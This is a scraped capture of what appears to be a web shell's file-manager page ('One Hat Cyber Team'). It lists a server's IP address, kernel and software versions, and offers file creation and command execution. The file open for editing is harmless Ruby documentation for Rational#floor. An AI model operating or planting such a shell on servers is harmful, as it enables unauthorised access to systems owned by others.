⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Rational
/
Edit File: floor-i.ri
U:RDoc::AnyMethod[iI" floor:ETI"Rational#floor;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"AReturns the largest number less than or equal to +rat+ with ;TI":a precision of +ndigits+ decimal digits (default: 0).;To:RDoc::Markup::BlankLine o; ; [I"FWhen the precision is negative, the returned value is an integer ;TI";with at least <code>ndigits.abs</code> trailing zeros.;T@o; ; [I"4Returns a rational when +ndigits+ is positive, ;TI""otherwise returns an integer.;T@o:RDoc::Markup::Verbatim; [I""Rational(3).floor #=> 3 ;TI""Rational(2, 3).floor #=> 0 ;TI"#Rational(-3, 2).floor #=> -2 ;TI" ;TI". # decimal - 1 2 3 . 4 5 6 ;TI"- # ^ ^ ^ ^ ^ ^ ;TI"- # precision -3 -2 -1 0 +1 +2 ;TI" ;TI"5Rational('-123.456').floor(+1).to_f #=> -123.5 ;TI"2Rational('-123.456').floor(-1) #=> -130;T:@format0: @fileI"rational.c;T:0@omit_headings_from_table_of_contents_below0I"3rat.floor([ndigits]) -> integer or rational ;T0[ I"(*args);T@$FI" Rational;TcRDoc::NormalClass00
Simpan